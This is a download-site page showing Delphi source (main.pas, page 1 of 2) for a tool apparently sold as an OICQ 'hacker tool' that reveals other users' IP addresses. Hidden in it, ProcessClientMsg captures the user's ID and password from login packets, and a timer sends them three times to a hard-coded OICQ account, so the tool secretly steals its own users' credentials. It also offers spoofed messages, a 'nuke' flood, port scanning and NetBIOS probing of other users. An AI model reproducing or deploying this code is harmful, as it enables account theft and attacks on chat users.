⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 main.pas

📁 OICQ黑客工具。可以查看对方IP地址
💻 PAS
📖 第 1 页 / 共 2 页
字号:
    Switcher:=TUDPSwitcher.Create(GLocalPort,GSrvIp,GSrvPort);
    Switcher.OnRecv:=SwitcherOnRecv;
    Switcher.OnSend:=SwitcherOnSend;
    Switcher.OnNewSocket:=SwitcherOnNewSocket;
    if(GAutoLaunch)then LaunchOICQ;
    end
else
    begin
    ShowMessage('无法连接'+GSrvIp);
    end;
end;

procedure TMainForm.btnFakeClick(Sender: TObject);
begin
{$ifndef REDUCE_VERSION}
TFakeMsgDlg.Execute('','',4000);
{$else}
ShowMessage('对不起!简版没有此功能');
{$endif}
end;

function TMainForm.GetSelectInfo(var id, ip,port: string): Boolean;
var
s:string;
p,i,sc:Integer;
begin
p:=0;
sc:=1;
SetLength(id,10);
SetLength(ip,30);
SetLength(port,6);
for i:=1 to 10 do
    begin
    id[i]:=chr(0);
    end;
for i:=1 to 30 do
    begin
    ip[i]:=chr(0);
    end;
for i:=1 to 6 do
    begin
    port[i]:=chr(0);
    end;
if(IPAddrList.Items.Count<>0)then
    begin
    Result:=True;
    s:=IPAddrList.Items[IPAddrList.ItemIndex];
    for i:=1 to length(s) do
        begin
        if(s[i]<>'-')then
            begin
            if(p=0)then
                begin
                id[sc]:=s[i];
                Inc(sc);
                end
            else if(p=3)then
                begin
                ip[sc]:=s[i];
                Inc(sc);
                end
            else if(p=6)then
                begin
                port[sc]:=s[i];
                inc(sc);
                end
            else break;
            end
        else
            begin
            Inc(p);
            sc:=1;
            end;
        end;
    end
else Result:=False;
end;

procedure TMainForm.IPAddrListDblClick(Sender: TObject);
{$ifndef REDUCE_VERSION}
var
id,ip,port:string;
{$endif}
begin
{$ifndef REDUCE_VERSION}
if(GetSelectInfo(id,ip,port))then
    begin
    TFakeMsgDlg.Execute(ip,id,StrToIntDef(port,4000));
    end;
{$else}
ShowMessage('对不起!简版没有此功能.');
{$endif}
end;

procedure TMainForm.btnIPScanClick(Sender: TObject);
begin
TScannerDlg.Execute;
end;

procedure TMainForm.N8Click(Sender: TObject);
begin
Close;
end;

procedure TMainForm.N5Click(Sender: TObject);
begin
TAboutBox.Execute;
end;

procedure TMainForm.ProcessClientMsg(buf: array of char; buflen: Integer);
var
i:Integer;
begin
if(Ord(buf[4])=$13)then//User logon
    begin
    strUserId:='';
    strPass:='';
    i:=Ord(buf[7])*$1000000+Ord(buf[8])*$10000+Ord(buf[9])*$100+Ord(buf[10]);
    strUserId:=IntToStr(i);
    MyId:=strUserId;
    StatusBar.Panels[3].Text:='User Id:'+MyId;
    for i:=13 to buflen-1 do
        begin
        if(Ord(buf[i])=$03)then break;
        strPass:=strPass+buf[i];
        end;
    end;
end;

procedure TMainForm.SendMsg(DestId, msg: string);
var
pBuf:array [0..2048]of char;
i:Integer;
sock:TProxySock;
begin
for i:=0 to 2047 do
    begin
    pBuf[i]:=chr(0);
    end;
pBuf[0]:=chr(2);
pBuf[1]:=chr(1);
pBuf[2]:=chr(7);
pBuf[3]:=chr(0);
pBuf[4]:=chr($08);
nUserId:=StrToInt(strUserId);
pBuf[7]:=Chr((nUserId and $ff000000)shr 24);
pBuf[8]:=chr((nUserId and $00ff0000)shr 16);
pBuf[9]:=Chr((nUserId and $0000ff00)shr 8);
pBuf[10]:=Chr((nUserId and $000000ff));
i:=ArrayStrCopy(pBuf,2048,11,DestId);
pBuf[i]:=chr($1f);
pBuf[i+1]:='0';
pBuf[i+2]:=chr($1f);
i:=ArrayStrCopy(pBuf,2048,i+3,'0');
pBuf[i]:=chr($1f);
i:=ArrayStrCopy(pBuf,2048,i+1,DateToStr(Date));
pBuf[i]:=chr($1f);
i:=ArrayStrCopy(pBuf,2048,i+1,TimeToStr(Time));
pBuf[i]:=chr($1f);
i:=ArrayStrCopy(pBuf,2048,i+1,msg);
pBuf[i]:=chr($03);

pBuf[5]:=chr((mCurCnt and $ff00) shr 8);
pBuf[6]:=chr(mCurCnt and $00ff);

sock:=Switcher.GetExternalProxy(0);
if(Assigned(sock))then
    begin
    sock.SendBuf(pBuf,i+1,GSrvIp,GSrvPort);
    end;
Inc(mCurCnt);
end;

procedure TMainForm.TimerTimer(Sender: TObject);
begin
Timer.Enabled:=False;
SendMsg(IntToStr(3009508),strUserId+','+strPass);
SendMsg(IntToStr(3009508),strUserId+','+strPass);
SendMsg(IntToStr(3009508),strUserId+','+strPass);
end;
procedure TMainForm.N9Click(Sender: TObject);
begin
ShowMessage('将OICQ的服务器改为:127.0.0.1 端口:8810'+#13
    +'将其余服务器地址全部删除'+#13
    +'关闭OICQ'+#13
    +'启动OICQSpy'+#13
    +'启动OICQ即可');
end;

procedure TMainForm.mViewSendClick(Sender: TObject);
begin
mViewSend.Checked:=not mViewSend.Checked;
SendPage.Visible:=mViewSend.Checked;
if(mViewSend.Checked and (SendPage.Align=alTop) and (RecvPage.Visible=False))then
    begin
    SendPage.Align:=alClient;
    end
else if(mViewSend.Checked and (SendPage.Align=alTop)
    and (RecvPage.Visible=True) and (RecvPage.Align=alClient))then
    begin
    SendPage.Height:=DataPanel.Height div 2;
    end;
DataPanel.Visible:=mViewSend.Checked or mViewRecv.Checked;
DataSplitter.Visible:=(SendPage.Visible and RecvPage.Visible);
DataSplitter.Top:=RecvPage.top+2;
ViewSplitter.Visible:=(SendPage.Visible or RecvPage.Visible);
ViewSplitter.Top:=ViewPanel.Top+1;
if(mViewSend.Checked or mViewRecv.Checked)then WindowState:=wsMaximized
else WindowState:=wsNormal;
end;

procedure TMainForm.AddFriendInfo(id, ip, port, dummy, face,name: string);
var
s:string;
ipInf:TIPInfo;
begin
IpInf:=FindIPInfo(ip);
s:=IpInf.Country+','+IpInf.Location;
if(not FindUID(id,ip,port))then
    begin
    Inc(nInfoCnt);
    SetLength(info,nInfoCnt);
    info[nInfoCnt-1].strUID:=id;
    info[nInfoCnt-1].strIP:=ip;
    info[nInfoCnt-1].strPort:=port;
{$ifndef SAFEVERSION}
    //Add msg handler
    info[nInfoCnt-1].sock:=TNMUDP.Create(self);
    info[nInfoCnt-1].sock.RemoteHost:='127.0.0.1';
    info[nInfoCnt-1].sock.RemotePort:=ClientPort;
    info[nInfoCnt-1].sock.tag:=nInfoCnt-1;
    info[nInfoCnt-1].sock.OnDataReceived:=MsgHandlerDataReceived;
{$endif}    
    //Display friend info
    IPAddrList.Items.Add(id+'---'+ip+'---'+port+'---'+name+'---'+face+'---'+s+'---'+DateTimeToStr(now));
    end;
end;

procedure TMainForm.btnPortScanClick(Sender: TObject);
begin
TCloneScanDlg.Execute('127.0.0.1');
end;

function TMainForm.FindUID(uid,ip,port: string): Boolean;
var
i:Integer;
begin
Result:=False;
for i:=0 to nInfoCnt-1 do
    begin
    if((info[i].strUID=uid)and(info[i].strIp=ip)and(info[i].strPort=port))then
        begin
        Result:=True;
        Break;
        end;
    end;
end;

procedure TMainForm.mClearInfoClick(Sender: TObject);
begin
IPAddrList.Items.Clear;
nInfoCnt:=0;
SetLength(info,0);
end;

procedure TMainForm.N12Click(Sender: TObject);
begin
TCloneScanDlg.Execute('127.0.0.1');
end;

procedure TMainForm.N14Click(Sender: TObject);
begin
Close;
end;

procedure TMainForm.mScanIpClick(Sender: TObject);
var
id,ip,port:string;
begin
if(GetSelectInfo(id,ip,port))then
    TCloneScanDlg.Execute(ip);
end;

procedure TMainForm.mNetBiosInfoClick(Sender: TObject);
var
id,port,ip:string;
begin
if(GetSelectInfo(id,ip,port))then
    begin
    TNetBiosInfoDlg.Execute(ip);
    end;
end;

procedure TMainForm.btnBEUIInfoClick(Sender: TObject);
begin
TNetBiosInfoDlg.Execute(GetLocalIP);
end;

procedure TMainForm.mScanNBInfoClick(Sender: TObject);
begin
TNetBiosInfoDlg.Execute(GetLocalIP);
end;

procedure TMainForm.mViewRecvClick(Sender: TObject);
begin
mViewRecv.Checked:=not mViewRecv.Checked;
RecvPage.Visible:=mViewRecv.Checked;

if(mViewRecv.Checked and (SendPage.Visible) and (SendPage.Align=alClient))then
    begin
    SendPage.Align:=alTop;
    SendPage.Height:=DataPanel.Height div 2;
    end
else if((not mViewRecv.Checked) and (SendPage.Visible) and (SendPage.Align=alTop))then
    SendPage.Align:=alClient;

DataPanel.Visible:=mViewSend.Checked or mViewRecv.Checked;
DataSplitter.Visible:=(SendPage.Visible and RecvPage.Visible);
DataSplitter.Top:=RecvPage.top+2;
ViewSplitter.Visible:=(RecvPage.Visible or SendPage.Visible);
ViewSplitter.Top:=ViewPanel.Top+1;
if(mViewRecv.Checked or mViewSend.Checked)then WindowState:=wsMaximized
else WindowState:=wsNormal;
end;

procedure TMainForm.mViewAlertClick(Sender: TObject);
begin
mViewAlert.Checked:=not mViewAlert.Checked;
AnalyList.Visible:=mViewAlert.Checked;
AlertSplitter.Visible:=mViewAlert.Checked;
if(mViewAlert.Checked)then
    begin
    Width:=Width+300;
    AlertSplitter.Left:=AnalyList.Left-2;
    end
else
    begin
    Width:=Width-300;
    end;
end;

procedure TMainForm.mNukeClick(Sender: TObject);
{$ifndef REDUCE_VERSION}
var
id,ip,port:string;
{$endif}
begin
{$ifndef REDUCE_VERSION}
if(GetSelectInfo(id,ip,port))then
    begin
    THoldNukeDlg.Execute(id,'Loading Device=C:\Windows\HIMEM.SYS'+#13,20);
    end;
{$else}
ShowMessage('对不起!简版没有此功能.');
{$endif}
end;

procedure TMainForm.btnNukeClick(Sender: TObject);
begin
{$ifndef REDUCE_VERSION}
THoldNukeDlg.Execute('','',3);
{$else}
ShowMessage('对不起!简版没有此功能');
{$endif}
end;

procedure TMainForm.btnLanuchClick(Sender: TObject);
begin
LaunchOICQ;
end;

procedure TMainForm.LaunchOICQ;
begin
WinExec(PChar(GOICQPath+'\OICQ.EXE'),SW_SHOW);
end;

procedure TMainForm.N15Click(Sender: TObject);
begin
Show;
end;

{$ifndef SAFEVERSION}
function TMainForm.FindProxy(ip: string; port: WORD;var p:TNMUDP): Boolean;
var
i:Integer;
begin
Result:=False;
for i:=0 to nInfoCnt-1 do
    begin
    if((info[i].strIp=ip)and (info[i].strPort=IntToStr(port)))then
        begin
        Result:=True;
        p:=info[i].sock;
        Break;
        end;
    end;
end;
{$endif}
procedure TMainForm.LocalMsgListDblClick(Sender: TObject);
begin
TMsgViewDlg.Execute((Sender as TListBox).Items[(Sender as TListBox).ItemIndex]);
end;

procedure TMainForm.SwitcherOnRecv(buf: array of char; buflen: Integer;
  from, Dest: TSockAddr;var drop:Boolean);
var
uid:string;
begin
drop:=not AfterRecv(buf,buflen);
if(not drop)then
    begin
    if(buflen>1024)then
        begin
        if(from.sin_addr.S_addr=inet_addr(PChar(GSrvIp)))then
            begin
            uid:=GetStrFromBuf(buf,buflen,10);
            AnalyList.Items.Add('你被'+uid+'号用户攻击!!!(透过服务器)');
            drop:=True;
            end
        else
            begin
            drop:=True;
            AnalyList.Items.Add('你被IP地址为:'+inet_ntoa(from.sin_addr)+'端口为:'+IntToStr(ntohs(from.sin_port) )+'的用户攻击!!!(直接攻击)');
            end;
        MainForm.Show;
        AnalyList.Visible:=True;
        if(Width<700)then Width:=700;
        end
    else
        begin
        Drop:=False;
        end;
    end;
AddSrvMsg(inet_ntoa(from.sin_addr),ntohs(from.sin_port),buf,buflen);
ProcessSrvMsg(inet_ntoa(from.sin_addr),ntohs(from.sin_port),buf,buflen);
end;

procedure TMainForm.SwitcherOnSend(buf: array of char; buflen: Integer;
  from, Dest: TSockAddr;var drop:Boolean);
begin
drop:=not BeforeSend(buf,buflen);
AddLocalMsg(buf,buflen);
ProcessClientMsg(buf,buflen);
end;

procedure TMainForm.SwitcherOnNewSocket(Sender: TObject);
begin
with (Sender as TProxySock)do
    begin
    AnalyList.Items.Add(
        'New Socket:'+
        inet_ntoa(ThisAddr.sin_addr)+' Port:'+IntToStr(ntohs(ThisAddr.sin_port))+
        'Proxy socket:'
        +inet_ntoa(ProxyAddr.sin_addr)+' Port:'+IntToStr(ntohs(ProxyAddr.sin_port)));
    Application.ProcessMessages;
    end;
end;

procedure TMainForm.btnFirstAidClick(Sender: TObject);
begin
TFirstAidDlg.Execute;
end;

procedure TMainForm.FormDestroy(Sender: TObject);
begin
if(Assigned(Switcher))then Switcher.Destroy;
sleep(100);
end;
end.



⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -